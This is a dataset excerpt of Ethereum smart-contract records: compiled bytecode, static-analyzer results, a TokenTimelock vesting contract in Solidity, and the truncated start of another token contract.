ffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a7230582059dab39884d606c8c12a8bedfde525e9a8b8d4351dcdad23002fa18a0dca71fc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 5,931 |
0xf226a11b714f35401dab124da8365323de99f4f5
|
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock is Ownable{
using SafeERC20 for IERC20;
using SafeMath for uint256;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseDuration;
uint256 private _startTime;
uint256 private _totalReleaseAmount;
uint256 private _releaseCount;
uint256 private _milestoneCount;
uint256 private _lockedAmount;
constructor (IERC20 token_, address beneficiary_) public{
_token = token_;
_beneficiary = beneficiary_;
_releaseDuration = 120 days;
_startTime = block.timestamp;
_milestoneCount = 4;
}
function updateLockedAmount() public onlyOwner{
require(_lockedAmount == 0);
_lockedAmount = _token.balanceOf(address(this));
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
function startTime() public view returns (uint256) {
return _startTime;
}
function totalReleasedAmount() public view returns (uint256) {
return _totalReleaseAmount;
}
function releaseCount() public view returns (uint256) {
return _releaseCount;
}
function lockedAmount() public view returns (uint256) {
return _lockedAmount;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
// solhint-disable-next-line not-rely-on-time
require(_token.balanceOf(address(this)) > 0);
require(_lockedAmount > 0);
require(_milestoneCount != _releaseCount);
require(block.timestamp >= _startTime.add(_releaseDuration));
uint256 amount = 0;
amount = amount.add(_lockedAmount.div(_milestoneCount));
require(amount > 0, "TokenTimelock: no tokens to release");
_releaseCount = _releaseCount.add(1);
_totalReleaseAmount = _totalReleaseAmount.add(amount);
_startTime = block.timestamp;
_token.safeTransfer(_beneficiary, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806386d1a69f1161007157806386d1a69f146101465780638a028b20146101505780638da5cb5b1461015a578063b8d08db21461018e578063f2fde38b146101ac578063fc0c546a146101f0576100a9565b806338af3eed146100ae5780636ab28bc8146100e2578063715018a61461010057806378e979251461010a57806383273cd114610128575b600080fd5b6100b6610224565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100ea61024e565b6040518082815260200191505060405180910390f35b610108610258565b005b6101126103de565b6040518082815260200191505060405180910390f35b6101306103e8565b6040518082815260200191505060405180910390f35b61014e6103f2565b005b61015861063b565b005b6101626107de565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610196610807565b6040518082815260200191505060405180910390f35b6101ee600480360360208110156101c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610811565b005b6101f8610a1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600854905090565b610260610a46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600454905090565b6000600554905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561047d57600080fd5b505afa158015610491573d6000803e3d6000fd5b505050506040513d60208110156104a757600080fd5b8101908080519060200190929190505050116104c257600080fd5b6000600854116104d157600080fd5b60065460075414156104e257600080fd5b6104f9600354600454610a4e90919063ffffffff16565b42101561050557600080fd5b6000610530610521600754600854610ad690919063ffffffff16565b82610a4e90919063ffffffff16565b90506000811161058b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110316023913960400191505060405180910390fd5b6105a16001600654610a4e90919063ffffffff16565b6006819055506105bc81600554610a4e90919063ffffffff16565b60058190555042600481905550610638600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b209092919063ffffffff16565b50565b610643610a46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610703576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006008541461071257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561079b57600080fd5b505afa1580156107af573d6000803e3d6000fd5b505050506040513d60208110156107c557600080fd5b8101908080519060200190929190505050600881905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600654905090565b610819610a46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561095f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610fe16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600080828401905083811015610acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610b1883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610bc2565b905092915050565b610bbd8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610c88565b505050565b60008083118290610c6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c33578082015181840152602081019050610c18565b50505050905090810190601f168015610c605780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610c7a57fe5b049050809150509392505050565b6060610cea826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16610d779092919063ffffffff16565b9050600081511115610d7257808060200190516020811015610d0b57600080fd5b8101908080519060200190929190505050610d71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611007602a913960400191505060405180910390fd5b5b505050565b6060610d868484600085610d8f565b90509392505050565b6060610d9a85610f95565b610e0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310610e5c5780518252602082019150602081019050602083039250610e39565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610ebe576040519150601f19603f3d011682016040523d82523d6000602084013e610ec3565b606091505b50915091508115610ed8578092505050610f8d565b600081511115610eeb5780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f52578082015181840152602081019050610f37565b50505050905090810190601f168015610f7f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015610fd757506000801b8214155b9250505091905056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564546f6b656e54696d656c6f636b3a206e6f20746f6b656e7320746f2072656c65617365a2646970667358221220ae511f317a961fe23d60c296d2f053203afad9bf2e7df32ff7502de9c2af3b3064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,932 |
0x7C7eB5F4378d47DE183Fbd3f4ed0Ff965c800bcF
|
/**
*Submitted for verification at Etherscan.io on 2021-11-01
*/
// SPDX-License-Identifier: Apache-2.0
// Telegram: https://t.me/Kimochinu
pragma solidity ^0.8.7;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
